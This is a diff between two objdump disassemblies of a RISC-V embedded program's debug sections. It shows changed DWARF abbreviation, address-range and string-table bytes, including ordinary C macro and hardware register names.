+ 6ca:	1349                	addi	t1,t1,-14
+ 6cc:	1802                	slli	a6,a6,0x20
  6ce:	0000                	unimp
- 6d0:	2e19                	jal	9e6 <__stack_size+0x1e6>
- 6d2:	0301                	addi	t1,t1,0
- 6d4:	3a0e                	fld	fs4,224(sp)
- 6d6:	39053b0b          	0x39053b0b
- 6da:	4919270b          	0x4919270b
- 6de:	010b2013          	slti	zero,s6,16
- 6e2:	1a000013          	li	zero,416
- 6e6:	0005                	c.nop	1
- 6e8:	0b3a0803          	lb	a6,179(s4)
- 6ec:	0b39053b          	0xb39053b
- 6f0:	1349                	addi	t1,t1,-14
- 6f2:	0000                	unimp
- 6f4:	0300341b          	0x300341b
- 6f8:	3a08                	fld	fa0,48(a2)
- 6fa:	39053b0b          	0x39053b0b
- 6fe:	0013490b          	0x13490b
- 702:	1c00                	addi	s0,sp,560
- 704:	1301010b          	0x1301010b
- 708:	0000                	unimp
- 70a:	341d                	jal	130 <__stack_size-0x6d0>
- 70c:	0300                	addi	s0,sp,384
- 70e:	3a0e                	fld	fs4,224(sp)
- 710:	39053b0b          	0x39053b0b
- 714:	0013490b          	0x13490b
- 718:	1e00                	addi	s0,sp,816
- 71a:	0000010b          	0x10b
- 71e:	0f1f 0b00 490b      	0x490b0b000f1f
- 724:	00000013          	nop
- 728:	1101                	addi	sp,sp,-32
- 72a:	2501                	jal	d2a <__stack_size+0x52a>
- 72c:	130e                	slli	t1,t1,0x23
- 72e:	1b0e030b          	0x1b0e030b
- 732:	100e                	c.slli	zero,0x23
- 734:	02000017          	auipc	zero,0x2000
- 738:	0024                	addi	s1,sp,8
- 73a:	0b3e0b0b          	0xb3e0b0b
- 73e:	00000803          	lb	a6,0(zero) # 0 <__stack_size-0x800>
- 742:	0b002403          	lw	s0,176(zero) # b0 <__stack_size-0x750>
- 746:	030b3e0b          	0x30b3e0b
- 74a:	000e                	c.slli	zero,0x3
- 74c:	0400                	addi	s0,sp,512
- 74e:	0016                	c.slli	zero,0x5
- 750:	0b3a0e03          	lb	t3,179(s4)
- 754:	0b390b3b          	0xb390b3b
- 758:	1349                	addi	t1,t1,-14
- 75a:	0000                	unimp
- 75c:	2605                	jal	a7c <__stack_size+0x27c>
- 75e:	4900                	lw	s0,16(a0)
- 760:	06000013          	li	zero,96
- 764:	0101                	addi	sp,sp,0
- 766:	1349                	addi	t1,t1,-14
- 768:	1301                	addi	t1,t1,-32
- 76a:	0000                	unimp
- 76c:	49002107          	flw	ft2,1168(zero) # 490 <__stack_size-0x370>
- 770:	000b2f13          	slti	t5,s6,0
- 774:	0800                	addi	s0,sp,16
- 776:	0034                	addi	a3,sp,8
- 778:	0b3a0e03          	lb	t3,179(s4)
- 77c:	0b39053b          	0xb39053b
- 780:	1349                	addi	t1,t1,-14
- 782:	193c193f 34090000 	0x34090000193c193f
- 78a:	4700                	lw	s0,8(a4)
- 78c:	3b0b3a13          	sltiu	s4,s6,944
- 790:	3905                	jal	3c0 <__stack_size-0x440>
- 792:	0018020b          	0x18020b
- 796:	0000                	unimp
- 798:	1101                	addi	sp,sp,-32
- 79a:	2501                	jal	d9a <__stack_size+0x59a>
- 79c:	130e                	slli	t1,t1,0x23
- 79e:	1b0e030b          	0x1b0e030b
- 7a2:	110e                	slli	sp,sp,0x23
- 7a4:	1201                	addi	tp,tp,-32
- 7a6:	1006                	c.slli	zero,0x21
- 7a8:	02000017          	auipc	zero,0x2000
- 7ac:	0024                	addi	s1,sp,8
- 7ae:	0b3e0b0b          	0xb3e0b0b
- 7b2:	00000e03          	lb	t3,0(zero) # 0 <__stack_size-0x800>
- 7b6:	0b002403          	lw	s0,176(zero) # b0 <__stack_size-0x750>
- 7ba:	030b3e0b          	0x30b3e0b
- 7be:	0008                	0x8
- 7c0:	0400                	addi	s0,sp,512
- 7c2:	0016                	c.slli	zero,0x5
- 7c4:	0b3a0e03          	lb	t3,179(s4)
- 7c8:	0b390b3b          	0xb390b3b
- 7cc:	1349                	addi	t1,t1,-14
- 7ce:	0000                	unimp
- 7d0:	2605                	jal	af0 <__stack_size+0x2f0>
- 7d2:	4900                	lw	s0,16(a0)
- 7d4:	06000013          	li	zero,96
- 7d8:	0e030113          	addi	sp,t1,224
- 7dc:	0b3a0b0b          	0xb3a0b0b
- 7e0:	0b39053b          	0xb39053b
- 7e4:	1301                	addi	t1,t1,-32
- 7e6:	0000                	unimp
- 7e8:	03000d07          	0x3000d07
- 7ec:	3a08                	fld	fa0,48(a2)
- 7ee:	39053b0b          	0x39053b0b
- 7f2:	3813490b          	0x3813490b
- 7f6:	0800000b          	0x800000b
- 7fa:	000d                	c.nop	3
- 7fc:	0b3a0e03          	lb	t3,179(s4)
- 800:	0b39053b          	0xb39053b
- 804:	1349                	addi	t1,t1,-14
- 806:	0b38                	addi	a4,sp,408
- 808:	0000                	unimp
- 80a:	1709                	addi	a4,a4,-30
- 80c:	0b01                	addi	s6,s6,0
- 80e:	3b0b3a0b          	0x3b0b3a0b
- 812:	3905                	jal	442 <__stack_size-0x3be>
- 814:	0013010b          	0x13010b
- 818:	0a00                	addi	s0,sp,272
- 81a:	000d                	c.nop	3
- 81c:	0b3a0803          	lb	a6,179(s4)
- 820:	0b39053b          	0xb39053b
- 824:	1349                	addi	t1,t1,-14
- 826:	0000                	unimp
- 828:	0300160b          	0x300160b
- 82c:	3a0e                	fld	fs4,224(sp)
- 82e:	39053b0b          	0x39053b0b
- 832:	0013490b          	0x13490b
- 836:	0c00                	addi	s0,sp,528
- 838:	0101                	addi	sp,sp,0
- 83a:	1349                	addi	t1,t1,-14
- 83c:	1301                	addi	t1,t1,-32
- 83e:	0000                	unimp
- 840:	210d                	jal	c62 <__stack_size+0x462>
- 842:	4900                	lw	s0,16(a0)
- 844:	000b2f13          	slti	t5,s6,0
- 848:	0e00                	addi	s0,sp,784
- 84a:	0034                	addi	a3,sp,8
- 84c:	0b3a0e03          	lb	t3,179(s4)
- 850:	0b39053b          	0xb39053b
- 854:	1349                	addi	t1,t1,-14
- 856:	193c193f 2e0f0000 	0x2e0f0000193c193f
- 85e:	3f01                	jal	76e <__stack_size-0x92>
- 860:	0319                	addi	t1,t1,6
- 862:	3a0e                	fld	fs4,224(sp)
- 864:	39053b0b          	0x39053b0b
- 868:	4919270b          	0x4919270b
- 86c:	12011113          	0x12011113
- 870:	4006                	0x4006
- 872:	9718                	0x9718
- 874:	1942                	slli	s2,s2,0x30
- 876:	1301                	addi	t1,t1,-32
- 878:	0000                	unimp
- 87a:	0510                	addi	a2,sp,640
- 87c:	0300                	addi	s0,sp,384
- 87e:	3a08                	fld	fa0,48(a2)
- 880:	39053b0b          	0x39053b0b
- 884:	0213490b          	0x213490b
- 888:	11000017          	auipc	zero,0x11000
- 88c:	0034                	addi	a3,sp,8
- 88e:	0b3a0803          	lb	a6,179(s4)
- 892:	0b39053b          	0xb39053b
- 896:	1349                	addi	t1,t1,-14
- 898:	1702                	slli	a4,a4,0x20
- 89a:	0000                	unimp
- 89c:	1d12                	slli	s10,s10,0x24
- 89e:	3101                	jal	49e <__stack_size-0x362>
- 8a0:	55015213          	0x55015213
- 8a4:	590b5817          	auipc	a6,0x590b5
- 8a8:	5705                	li	a4,-31
- 8aa:	1300000b          	0x1300000b
- 8ae:	0005                	c.nop	1
- 8b0:	1331                	addi	t1,t1,-20
- 8b2:	1702                	slli	a4,a4,0x20
- 8b4:	0000                	unimp
- 8b6:	0b14                	addi	a3,sp,400
- 8b8:	5501                	li	a0,-32
- 8ba:	15000017          	auipc	zero,0x15000
- 8be:	0034                	addi	a3,sp,8
- 8c0:	1331                	addi	t1,t1,-20
- 8c2:	0000                	unimp
- 8c4:	3416                	fld	fs0,352(sp)
- 8c6:	3100                	fld	fs0,32(a0)
- 8c8:	00170213          	addi	tp,a4,1
- 8cc:	1700                	addi	s0,sp,928
- 8ce:	1331010b          	0x1331010b
- 8d2:	1755                	addi	a4,a4,-11
- 8d4:	1301                	addi	t1,t1,-32
- 8d6:	0000                	unimp
- 8d8:	0b18                	addi	a4,sp,400
- 8da:	3101                	jal	4da <__stack_size-0x326>
- 8dc:	12011113          	0x12011113
- 8e0:	0106                	slli	sp,sp,0x1
- 8e2:	19000013          	li	zero,400
- 8e6:	1331010b          	0x1331010b
- 8ea:	0111                	addi	sp,sp,4
- 8ec:	0612                	slli	a2,a2,0x4
- 8ee:	0000                	unimp
- 8f0:	341a                	fld	fs0,416(sp)
- 8f2:	3100                	fld	fs0,32(a0)
- 8f4:	00180213          	addi	tp,a6,1 # 590b58a5 <_data_lma+0x38caf8c5>
- 8f8:	1b00                	addi	s0,sp,432
- 8fa:	012e                	slli	sp,sp,0xb
- 8fc:	0b3a0e03          	lb	t3,179(s4)
- 900:	0b39053b          	0xb39053b
- 904:	13491927          	0x13491927
- 908:	0b20                	addi	s0,sp,408
- 90a:	1301                	addi	t1,t1,-32
- 90c:	0000                	unimp
- 90e:	051c                	addi	a5,sp,640
- 910:	0300                	addi	s0,sp,384
- 912:	3a08                	fld	fa0,48(a2)
- 914:	39053b0b          	0x39053b0b
- 918:	0013490b          	0x13490b
- 91c:	1d00                	addi	s0,sp,688
- 91e:	0034                	addi	a3,sp,8
- 920:	0b3a0803          	lb	a6,179(s4)
- 924:	0b39053b          	0xb39053b
- 928:	1349                	addi	t1,t1,-14
- 92a:	0000                	unimp
- 92c:	0b1e                	slli	s6,s6,0x7
- 92e:	0101                	addi	sp,sp,0
- 930:	1f000013          	li	zero,496
- 934:	0034                	addi	a3,sp,8
- 936:	0b3a0e03          	lb	t3,179(s4)
- 93a:	0b39053b          	0xb39053b
- 93e:	1349                	addi	t1,t1,-14
- 940:	0000                	unimp
- 942:	0b20                	addi	s0,sp,408
- 944:	0001                	nop
- 946:	2100                	fld	fs0,0(a0)
- 948:	0b0b000f          	0xb0b000f
- 94c:	1349                	addi	t1,t1,-14
- 94e:	0000                	unimp
+ 6d0:	211a                	fld	ft2,384(sp)
+ 6d2:	0000                	unimp
+ 6d4:	1b00                	addi	s0,sp,432
+ 6d6:	002e                	c.slli	zero,0xb
+ 6d8:	193c193f 0e030e6e 	0xe030e6e193c193f
+ 6e0:	0b3a                	slli	s6,s6,0xe
+ 6e2:	0b390b3b          	0xb390b3b
+ 6e6:	0000                	unimp
 	...
 
 Disassembly of section .debug_aranges:
@@ -21249,7 +13397,7 @@ Disassembly of section .debug_aranges:
   14:	0070                	addi	a2,sp,12
 	...
   1e:	0000                	unimp
-  20:	005c                	addi	a5,sp,4
+  20:	0024                	addi	s1,sp,8
   22:	0000                	unimp
   24:	0002                	c.slli64	zero
   26:	0026                	c.slli	zero,0x9
@@ -21257,128 +13405,104 @@ Disassembly of section .debug_aranges:
   2a:	0004                	0x4
   2c:	0000                	unimp
   2e:	0000                	unimp
-  30:	19ac                	addi	a1,sp,248
+  30:	1a46                	slli	s4,s4,0x31
   32:	2040                	fld	fs0,128(s0)
-  34:	0012                	c.slli	zero,0x4
+  34:	02cc                	addi	a1,sp,324
   36:	0000                	unimp
-  38:	19be                	slli	s3,s3,0x2f
+  38:	189c                	addi	a5,sp,112
   3a:	2040                	fld	fs0,128(s0)
-  3c:	02cc                	addi	a1,sp,324
-  3e:	0000                	unimp
-  40:	1c8a                	slli	s9,s9,0x22
-  42:	2040                	fld	fs0,128(s0)
-  44:	017a                	slli	sp,sp,0x1e
+  3c:	01aa                	slli	gp,gp,0xa
+	...
   46:	0000                	unimp
-  48:	1e04                	addi	s1,sp,816
-  4a:	2040                	fld	fs0,128(s0)
-  4c:	0268                	addi	a0,sp,268
-  4e:	0000                	unimp
-  50:	206c                	fld	fa1,192(s0)
-  52:	2040                	fld	fs0,128(s0)
-  54:	015c                	addi	a5,sp,132
+  48:	003c                	addi	a5,sp,8
+  4a:	0000                	unimp
+  4c:	0002                	c.slli64	zero
+  4e:	08a5                	addi	a7,a7,9
+  50:	0000                	unimp
+  52:	0004                	0x4
+  54:	0000                	unimp
   56:	0000                	unimp
-  58:	21c8                	fld	fa0,128(a1)
+  58:	1d12                	slli	s10,s10,0x24
   5a:	2040                	fld	fs0,128(s0)
-  5c:	0124                	addi	s1,sp,136
+  5c:	0018                	0x18
   5e:	0000                	unimp
-  60:	22ec                	fld	fa1,192(a3)
+  60:	1d2a                	slli	s10,s10,0x2a
   62:	2040                	fld	fs0,128(s0)
-  64:	040c                	addi	a1,sp,512
+  64:	001a                	c.slli	zero,0x6
   66:	0000                	unimp
-  68:	26f8                	fld	fa4,200(a3)
+  68:	1d44                	addi	s1,sp,692
   6a:	2040                	fld	fs0,128(s0)
-  6c:	0424                	addi	s1,sp,520
+  6c:	0040                	addi	s0,sp,4
   6e:	0000                	unimp
-  70:	189c                	addi	a5,sp,112
+  70:	1d84                	addi	s1,sp,752
   72:	2040                	fld	fs0,128(s0)
-  74:	0110                	addi	a2,sp,128
+  74:	008c                	addi	a1,sp,64
+  76:	0000                	unimp
+  78:	1e10                	addi	a2,sp,816
+  7a:	2040                	fld	fs0,128(s0)
+  7c:	0054                	addi	a3,sp,4
 	...
-  7e:	0000                	unimp
-  80:	0054                	addi	a3,sp,4
-  82:	0000                	unimp
-  84:	0002                	c.slli64	zero
-  86:	1e0d                	addi	t3,t3,-29
-  88:	0000                	unimp
-  8a:	0004                	0x4
-  8c:	0000                	unimp
-  8e:	0000                	unimp
-  90:	2b1c                	fld	fa5,16(a4)
-  92:	2040                	fld	fs0,128(s0)
-  94:	0004                	0x4
-  96:	0000                	unimp
-  98:	2b20                	fld	fs0,80(a4)
-  9a:	2040                	fld	fs0,128(s0)
-  9c:	0008                	0x8
-  9e:	0000                	unimp
-  a0:	2b28                	fld	fa0,80(a4)
+  86:	0000                	unimp
+  88:	003c                	addi	a5,sp,8
+  8a:	0000                	unimp
+  8c:	0002                	c.slli64	zero
+  8e:	0c95                	addi	s9,s9,5
+  90:	0000                	unimp
+  92:	0004                	0x4
+	...
+  a0:	1e64                	addi	s1,sp,828
   a2:	2040                	fld	fs0,128(s0)
-  a4:	0022                	c.slli	zero,0x8
+  a4:	00ac                	addi	a1,sp,72
   a6:	0000                	unimp
-  a8:	2b4a                	fld	fs6,144(sp)
+  a8:	1f10                	addi	a2,sp,944
   aa:	2040                	fld	fs0,128(s0)
-  ac:	0006                	c.slli	zero,0x1
-  ae:	0000                	unimp
-  b0:	2b50                	fld	fa2,144(a4)
-  b2:	2040                	fld	fs0,128(s0)
-  b4:	0004                	0x4
+  ac:	0136                	slli	sp,sp,0xd
+	...
   b6:	0000                	unimp
-  b8:	2b54                	fld	fa3,144(a4)
+  b8:	2046                	fld	ft0,80(sp)
   ba:	2040                	fld	fs0,128(s0)
-  bc:	0030                	addi	a2,sp,8
-  be:	0000                	unimp
-  c0:	2b84                	fld	fs1,16(a5)
-  c2:	2040                	fld	fs0,128(s0)
-  c4:	003c                	addi	a5,sp,8
-  c6:	0000                	unimp
-  c8:	2bc0                	fld	fs0,144(a5)
-  ca:	2040                	fld	fs0,128(s0)
-  cc:	0054                	addi	a3,sp,4
+  bc:	0252                	slli	tp,tp,0x14
 	...
+  c6:	0000                	unimp
+  c8:	0054                	addi	a3,sp,4
+  ca:	0000                	unimp
+  cc:	0002                	c.slli64	zero
+  ce:	1a14                	addi	a3,sp,304
+  d0:	0000                	unimp
+  d2:	0004                	0x4
+  d4:	0000                	unimp
   d6:	0000                	unimp
-  d8:	001c                	0x1c
-  da:	0000                	unimp
-  dc:	0002                	c.slli64	zero
-  de:	23c0                	fld	fs0,128(a5)
-  e0:	0000                	unimp
-  e2:	0004                	0x4
-  e4:	0000                	unimp
+  d8:	2298                	fld	fa4,0(a3)
+  da:	2040                	fld	fs0,128(s0)
+  dc:	0004                	0x4
+  de:	0000                	unimp
+  e0:	229c                	fld	fa5,0(a3)
+  e2:	2040                	fld	fs0,128(s0)
+  e4:	0008                	0x8
   e6:	0000                	unimp
-  e8:	2c14                	fld	fa3,24(s0)
+  e8:	22a4                	fld	fs1,64(a3)
   ea:	2040                	fld	fs0,128(s0)
-  ec:	002a                	c.slli	zero,0xa
-	...
+  ec:	0022                	c.slli	zero,0x8
+  ee:	0000                	unimp
+  f0:	22c6                	fld	ft5,80(sp)
+  f2:	2040                	fld	fs0,128(s0)
+  f4:	0006                	c.slli	zero,0x1
   f6:	0000                	unimp
-  f8:	001c                	0x1c
-  fa:	0000                	unimp
-  fc:	0002                	c.slli64	zero
-  fe:	256c                	fld	fa1,200(a0)
- 100:	0000                	unimp
- 102:	0004                	0x4
- 104:	0000                	unimp
+  f8:	22cc                	fld	fa1,128(a3)
+  fa:	2040                	fld	fs0,128(s0)
+  fc:	0004                	0x4
+  fe:	0000                	unimp
+ 100:	22d0                	fld	fa2,128(a3)
+ 102:	2040                	fld	fs0,128(s0)
+ 104:	002e                	c.slli	zero,0xb
  106:	0000                	unimp
- 108:	2c3e                	fld	fs8,456(sp)
+ 108:	22fe                	fld	ft5,472(sp)
  10a:	2040                	fld	fs0,128(s0)
- 10c:	0360                	addi	s0,sp,396
-	...
- 116:	0000                	unimp
- 118:	0014                	0x14
- 11a:	0000                	unimp
- 11c:	0002                	c.slli64	zero
- 11e:	2d1e                	fld	fs10,448(sp)
- 120:	0000                	unimp
- 122:	0004                	0x4
-	...
- 130:	001c                	0x1c
- 132:	0000                	unimp
- 134:	0002                	c.slli64	zero
- 136:	2df5                	jal	832 <__stack_size+0x32>
- 138:	0000                	unimp
- 13a:	0004                	0x4
- 13c:	0000                	unimp
- 13e:	0000                	unimp
- 140:	4ed6                	lw	t4,84(sp)
- 142:	2040                	fld	fs0,128(s0)
- 144:	0340                	addi	s0,sp,388
+ 10c:	003a                	c.slli	zero,0xe
+ 10e:	0000                	unimp
+ 110:	2338                	fld	fa4,64(a4)
+ 112:	2040                	fld	fs0,128(s0)
+ 114:	0052                	c.slli	zero,0x14
 	...
 
 Disassembly of section .debug_str:
@@ -21461,19372 +13585,16017 @@ Disassembly of section .debug_str:
       ca:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
       d0:	3120                	fld	fs0,96(a0)
       d2:	5f00                	lw	s0,56(a4)
-      d4:	435f 5f43 5553      	0x55535f43435f
-      da:	5050                	lw	a2,36(s0)
-      dc:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-      e0:	445f 4e59 4d41      	0x4d414e59445f
-      e6:	4349                	li	t1,18
-      e8:	415f 5252 5941      	0x59415252415f
-      ee:	495f 494e 2054      	0x2054494e495f
-      f4:	0031                	c.nop	12
-      f6:	5f5f 4c46 414f      	0x414f4c465f5f
-      fc:	5f54                	lw	a3,60(a4)
-      fe:	44524f57          	0x44524f57
-     102:	4f5f 4452 5245      	0x524544524f5f
-     108:	5f5f 5f20 4f5f      	0x4f5f5f205f5f
-     10e:	4452                	lw	s0,20(sp)
-     110:	5245                	li	tp,-15
-     112:	4c5f 5449 4c54      	0x4c5454494c5f
-     118:	5f45                	li	t5,-15
-     11a:	4e45                	li	t3,17
-     11c:	4944                	lw	s1,20(a0)
-     11e:	4e41                	li	t3,16
-     120:	5f5f 5300 495f      	0x495f53005f5f
-     126:	5845                	li	a6,-15
-     128:	4345                	li	t1,17
-     12a:	3020                	fld	fs0,96(s0)
-     12c:	3030                	fld	fa2,96(s0)
-     12e:	3130                	fld	fa2,96(a0)
-     130:	3030                	fld	fa2,96(s0)
-     132:	6100                	flw	fs0,0(a0)
-     134:	6c6c                	flw	fa1,92(s0)
-     136:	0061636f          	jal	t1,1613c <__stack_size+0x1593c>
-     13a:	6e727473          	csrrci	s0,0x6e7,4
-     13e:	656c                	flw	fa1,76(a0)
-     140:	006e                	c.slli	zero,0x1b
-     142:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
-     146:	5f54                	lw	a3,60(a4)
-     148:	4142                	lw	sp,16(sp)
-     14a:	30204553          	0x30204553
-     14e:	3078                	fld	fa4,224(s0)
-     150:	3032                	fld	ft0,296(sp)
-     152:	3030                	fld	fa2,96(s0)
-     154:	3030                	fld	fa2,96(s0)
-     156:	0030                	addi	a2,sp,8
-     158:	535f 5f43 5641      	0x56415f43535f
-     15e:	4850                	lw	a2,20(s0)
-     160:	5359                	li	t1,-10
-     162:	505f 4741 5345      	0x53454741505f
-     168:	3120                	fld	fs0,96(a0)
-     16a:	0032                	c.slli	zero,0xc
-     16c:	4955                	li	s2,21
-     16e:	544e                	lw	s0,240(sp)
-     170:	465f 5341 3354      	0x33545341465f
-     176:	5f32                	lw	t5,44(sp)
-     178:	414d                	li	sp,19
-     17a:	0058                	addi	a4,sp,4
-     17c:	525f 4545 544e      	0x544e4545525f
-     182:	4c5f 3436 5f41      	0x5f4134364c5f
-     188:	5542                	lw	a0,48(sp)
-     18a:	2846                	fld	fa6,80(sp)
-     18c:	7470                	flw	fa2,108(s0)
-     18e:	2972                	fld	fs2,280(sp)
-     190:	2820                	fld	fs0,80(s0)
-     192:	7028                	flw	fa0,96(s0)
-     194:	7274                	flw	fa3,100(a2)
-     196:	2d29                	jal	7b0 <__stack_size-0x50>
-     198:	5f3e                	lw	t5,236(sp)
-     19a:	656e                	flw	fa0,216(sp)
-     19c:	725f2e77          	0x725f2e77
-     1a0:	6565                	lui	a0,0x19
-     1a2:	746e                	flw	fs0,248(sp)
-     1a4:	5f2e                	lw	t5,232(sp)
-     1a6:	366c                	fld	fa1,232(a2)
-     1a8:	6134                	flw	fa3,64(a0)
-     1aa:	625f 6675 0029      	0x296675625f
-     1b0:	535f 5f43 4953      	0x49535f43535f
-     1b6:	45555147          	0x45555147
-     1ba:	4555                	li	a0,21
-     1bc:	4d5f 5841 3120      	0x312058414d5f
-     1c2:	0038                	addi	a4,sp,8
-     1c4:	5f5f 4c46 3354      	0x33544c465f5f
-     1ca:	5f32                	lw	t5,44(sp)
-     1cc:	4944                	lw	s1,20(a0)
-     1ce:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-     1d2:	0036                	c.slli	zero,0xd
-     1d4:	575f 4843 5241      	0x52414843575f
-     1da:	545f 445f 4645      	0x4645445f545f
-     1e0:	4e49                	li	t3,18
-     1e2:	4445                	li	s0,17
-     1e4:	0020                	addi	s0,sp,8
-     1e6:	4c50                	lw	a2,28(s0)
-     1e8:	4349                	li	t1,18
-     1ea:	525f 4745 6f28      	0x6f284745525f
-     1f0:	6666                	flw	fa2,88(sp)
-     1f2:	29746573          	csrrsi	a0,0x297,8
-     1f6:	5f20                	lw	s0,120(a4)
-     1f8:	4552                	lw	a0,20(sp)
-     1fa:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
-     1fe:	4c50                	lw	a2,28(s0)
-     200:	4349                	li	t1,18
-     202:	425f 5341 2c45      	0x2c455341425f
-     208:	6f20                	flw	fs0,88(a4)
-     20a:	6666                	flw	fa2,88(sp)
-     20c:	29746573          	csrrsi	a0,0x297,8
-     210:	5f00                	lw	s0,56(a4)
-     212:	565f4353          	0x565f4353
-     216:	5245                	li	tp,-15
-     218:	4e4f4953          	0x4e4f4953
-     21c:	3720                	fld	fs0,104(a4)
-     21e:	4600                	lw	s0,8(a2)
-     220:	475f 5445 4b4c      	0x4b4c5445475f
-     226:	3720                	fld	fs0,104(a4)
-     228:	5300                	lw	s0,32(a4)
-     22a:	5248                	lw	a0,36(a2)
-     22c:	5f54                	lw	a3,60(a4)
-     22e:	414d                	li	sp,19
-     230:	2058                	fld	fa4,128(s0)
-     232:	5f5f 4853 5452      	0x545248535f5f
-     238:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     23e:	5f00                	lw	s0,56(a4)
-     240:	4d5f 5349 5f43      	0x5f4353494d5f
-     246:	4956                	lw	s2,84(sp)
-     248:	4c424953          	0x4c424953
-     24c:	2045                	jal	2ec <__stack_size-0x514>
-     24e:	0031                	c.nop	12
-     250:	535f 5f43 454c      	0x454c5f43535f
-     256:	4556                	lw	a0,84(sp)
-     258:	334c                	fld	fa1,160(a4)
-     25a:	435f 4341 4548      	0x45484341435f
-     260:	415f 5353 434f      	0x434f5353415f
-     266:	3120                	fld	fs0,96(a0)
-     268:	5f003533          	0x5f003533
-     26c:	495f 544e 465f      	0x465f544e495f
-     272:	5341                	li	t1,-16
-     274:	3154                	fld	fa3,160(a0)
-     276:	5f36                	lw	t5,108(sp)
-     278:	414d                	li	sp,19
-     27a:	5f58                	lw	a4,60(a4)
-     27c:	205f 7830 6637      	0x66377830205f
-     282:	6666                	flw	fa2,88(sp)
-     284:	6666                	flw	fa2,88(sp)
-     286:	6666                	flw	fa2,88(sp)
-     288:	5f00                	lw	s0,56(a4)
-     28a:	535f 4957 2044      	0x20444957535f
-     290:	7830                	flw	fa2,112(s0)
-     292:	3032                	fld	ft0,296(sp)
-     294:	3030                	fld	fa2,96(s0)
-     296:	5f00                	lw	s0,56(a4)
-     298:	4552                	lw	a0,20(sp)
-     29a:	4e45                	li	t3,17
-     29c:	5f54                	lw	a3,60(a4)
-     29e:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-     2a2:	41525f4b          	fnmsub.s	ft10,ft4,fs5,fs0,unknown
-     2a6:	444e                	lw	s0,208(sp)
-     2a8:	3834                	fld	fa3,112(s0)
-     2aa:	7028                	flw	fa0,96(s0)
-     2ac:	7274                	flw	fa3,100(a2)
-     2ae:	2029                	jal	2b8 <__stack_size-0x548>
-     2b0:	4700                	lw	s0,8(a4)
-     2b2:	4950                	lw	a2,20(a0)
-     2b4:	49485f4f          	fnmadd.s	ft10,fa6,fs4,fs1,unknown
-     2b8:	495f4847          	fmsub.s	fa6,ft10,fs5,fs1,rmm
-     2bc:	2050                	fld	fa2,128(s0)
-     2be:	7830                	flw	fa2,112(s0)
-     2c0:	4332                	lw	t1,12(sp)
-     2c2:	5500                	lw	s0,40(a0)
-     2c4:	4e49                	li	t3,18
-     2c6:	5f54                	lw	a3,60(a4)
-     2c8:	454c                	lw	a1,12(a0)
-     2ca:	5341                	li	t1,-16
-     2cc:	3154                	fld	fa3,160(a0)
-     2ce:	5f36                	lw	t5,108(sp)
-     2d0:	414d                	li	sp,19
-     2d2:	0058                	addi	a4,sp,4
-     2d4:	4955                	li	s2,21
-     2d6:	544e                	lw	s0,240(sp)
-     2d8:	4c5f 4145 5453      	0x545341454c5f
-     2de:	5f38                	lw	a4,120(a4)
-     2e0:	414d                	li	sp,19
-     2e2:	2058                	fld	fa4,128(s0)
-     2e4:	5f5f 4955 544e      	0x544e49555f5f
-     2ea:	4c5f 4145 5453      	0x545341454c5f
-     2f0:	5f38                	lw	a4,120(a4)
-     2f2:	414d                	li	sp,19
-     2f4:	5f58                	lw	a4,60(a4)
-     2f6:	005f 4955 544e      	0x544e4955005f
-     2fc:	465f 5341 3154      	0x31545341465f
-     302:	5f36                	lw	t5,108(sp)
-     304:	414d                	li	sp,19
-     306:	2058                	fld	fa4,128(s0)
-     308:	5f5f 4955 544e      	0x544e49555f5f
-     30e:	465f 5341 3154      	0x31545341465f
-     314:	5f36                	lw	t5,108(sp)
-     316:	414d                	li	sp,19
-     318:	5f58                	lw	a4,60(a4)
-     31a:	005f 5343 5f52      	0x5f525343005f
-     320:	484d                	li	a6,19
-     322:	4d50                	lw	a2,28(a0)
-     324:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-     328:	4554                	lw	a3,12(a0)
-     32a:	3252                	fld	ft4,304(sp)
-     32c:	2038                	fld	fa4,64(s0)
-     32e:	3432                	fld	fs0,296(sp)
-     330:	5f00                	lw	s0,56(a4)
-     332:	735f 6c63 6165      	0x61656c63735f
-     338:	6572                	flw	fa0,28(sp)
-     33a:	7272                	flw	ft4,60(sp)
-     33c:	7028                	flw	fa0,96(s0)
-     33e:	2029                	jal	348 <__stack_size-0x4b8>
-     340:	2828                	fld	fa0,80(s0)
-     342:	6f76                	flw	ft10,92(sp)
-     344:	6469                	lui	s0,0x1a
-     346:	2829                	jal	360 <__stack_size-0x4a0>
-     348:	7028                	flw	fa0,96(s0)
-     34a:	2d29                	jal	964 <__stack_size+0x164>
-     34c:	5f3e                	lw	t5,236(sp)
-     34e:	6c66                	flw	fs8,88(sp)
-     350:	6761                	lui	a4,0x18
-     352:	3d262073          	csrs	0x3d2,a2
-     356:	7e20                	flw	fs0,120(a2)
-     358:	5f28                	lw	a0,120(a4)
-     35a:	535f 5245 7c52      	0x7c525245535f
-     360:	5f5f 4553 464f      	0x464f45535f5f
-     366:	2929                	jal	780 <__stack_size-0x80>
-     368:	0029                	c.nop	10
-     36a:	575f 4e49 5f54      	0x5f544e49575f
-     370:	2054                	fld	fa3,128(s0)
-     372:	4900                	lw	s0,16(a0)
-     374:	544e                	lw	s0,240(sp)
-     376:	4c5f 4145 5453      	0x545341454c5f
-     37c:	3631                	jal	fffffe88 <_heap_end+0x7fff1688>
-     37e:	4d5f 4e49 2820      	0x28204e494d5f
-     384:	492d                	li	s2,11
-     386:	544e                	lw	s0,240(sp)
-     388:	4c5f 4145 5453      	0x545341454c5f
-     38e:	3631                	jal	fffffe9a <_heap_end+0x7fff169a>
-     390:	4d5f 5841 2d20      	0x2d2058414d5f
-     396:	3120                	fld	fs0,96(a0)
-     398:	0029                	c.nop	10
-     39a:	5f46                	lw	t5,112(sp)
-     39c:	5544                	lw	s1,44(a0)
-     39e:	4650                	lw	a2,12(a2)
-     3a0:	5f44                	lw	s1,60(a4)
-     3a2:	454f4c43          	0x454f4c43
-     3a6:	4558                	lw	a4,12(a0)
-     3a8:	34312043          	0x34312043
-     3ac:	6600                	flw	fs0,8(a2)
-     3ae:	6f65                	lui	t5,0x19
-     3b0:	2866                	fld	fa6,88(sp)
-     3b2:	2970                	fld	fa2,208(a0)
-     3b4:	5f20                	lw	s0,120(a4)
-     3b6:	735f 6566 666f      	0x666f6566735f
